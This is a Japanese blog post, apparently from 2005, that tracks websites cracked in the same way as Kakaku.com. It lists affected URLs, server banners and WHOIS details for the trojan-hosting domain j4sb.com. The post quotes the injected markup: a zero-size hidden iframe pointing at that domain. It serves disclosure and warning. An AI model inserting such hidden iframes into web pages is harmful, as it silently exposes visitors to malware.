5/22 18:30 更新
もうこのエントリーを更新する事もないと思ってたんですが、Livedoorのblogの人、ずっとj4sb.comのIFRAMEがついたまんまなんですが、どうなってるんでしょうかね？

静岡新聞社の就職活動支援サイトでも価格.comと同手口のクラック

　静岡新聞社は16日、同社が運営する学生向けの就職活動支援サイト「新卒のかんづめ」に対する不正アクセスがあり、トップページが改ざんされていたことを明らかにした。

　という記事があったので、気になって検索してみたら他にもクラックされてトロイの木馬が仕込まれているサイトが存在するようです。

5/22 18:30現在 トロイの木馬が仕込まれているサイトまたはページ(URLを開かないで下さい)

ttp://blog.livedoor.jp/gggggggggg/ (このURLを開かないで下さい)
view-source:http://blog.livedoor.jp/gggggggggg/
Server: Apache/1.3.31 (Unix)

Impressによると、このblogの管理者が価格.comからソースをIFRAMEごとコピペしたのではないかとの事。

まだまだ他にもありそう。

5/18 05:20-15:00の間に修復

ttp://www.missing.co.jp/
Server: Microsoft-IIS/6.0

不正アクセスについて

当サイトに不正アクセスの形跡が見つかったため、早速サーバー内の全面的な調査を行いましたが、プログラムの改ざん、会員情報の閲覧等は行われておらず、フリー掲示板に書き込まれている『「カカクコム.com」 と同様の不正アクセス』とは内容を異にすることが判明いたしました。

以上のリリースを出していますが、これはウソです。今(5/18 15:30)でもGoogleのキャッシュを開くと以下のようになっており、j4sb.comへアクセスにいきます。トップページには3箇所IFRAMEが仕込まれていました。

<tr>
<td style="padding:4px;">
<img src="../img/arrow.gif" border="0">
<a href="/notify/content.asp?seq=37">4月15日締切分のトーナメント結果発表！<iframe src=http://www.j4sb.com/count/counter.ap?id=a05 width=0 height=0></iframe></a>
</td>
</tr>

以下は、過去にそれらしいものが書き込まれていたと思われるサイトまたはページ

ttp://mobile.from.jp/bb/ (現在は404)
Googleのキャッシュを見るとphpBBのスレッドタイトルに書き込まれていましたが、意味があったのかどうかは不明。しかし、突然掲示板が削除されたみたいなので何かあったのかもしれません。
Server: Apache

ttp://www.gpara.com/cgi-bin/n-age/index.cgi
gparaの掲示板。現在は修正されているが、Googleのキャッシュを開くと問題のサイト(j4sb.com)にアクセスしようとするので完全にクラックされていた模様。
Server: Apache/2.0.50 (Fedora) mod_perl/1.99_12 Perl/v5.8.3 DAV/2　mod_auth_pgsql/2.0.1 PHP/4.3.10 mod_ssl/2.0.51 OpenSSL/0.9.7a

ttp://bbs2.wince.ne.jp/bbs2002/qanda/Edit.asp?ID=12741
上記掲示板によると、WindowsCE FANサイトはクラックされていたが、5/16に修復したようです。
Server: Microsoft IIS/6.0 (掲示板は Microsoft IIS/5.0)

問題のトロイの木馬配布サイトのドメインは　j4bs.com

[whois.bizcn.com]
Domain name: j4sb.com

Registrant Contact:
4piger
piger 4 xxx@21cn.com
000000 fax: 000000
xxx
xxx xxx 000000
cn

Administrative Contact:
piger 4 xxx@21cn.com
000000 fax: 000000
xxx
xxx xxx 000000
cn

Technical Contact:
piger 4 xxx@21cn.com
000000 fax: 000000
xxx
xxx xxx 000000
cn

Billing Contact:
piger 4 xxx@21cn.com
xxx xxx 000000
cn

Technical Contact:
piger 4 xxx@21cn.com
000000 fax: 000000
xxx
xxx xxx 000000
cn

Billing Contact:
piger 4 xxx@21cn.com
000000 fax: 000000
xxx
xxx xxx 000000
cn

DNS:
ns-1.intermyth.com
ns-2.intermyth.com

Created: 2005-04-25
Expires: 2006-04-25

www.j4sb.comのIPアドレスは、66.197.130.21。アメリカにあるようですね。

追記(15:20)

トロイの木馬を仕込もうとする他のドメイン

0x61.com
shtm1.com

関連リンク

価格.comがクラッキングされた件（´・ω・）暫定まとめサイト
http://musyoku-waste.hp.infoseek.co.jp/test/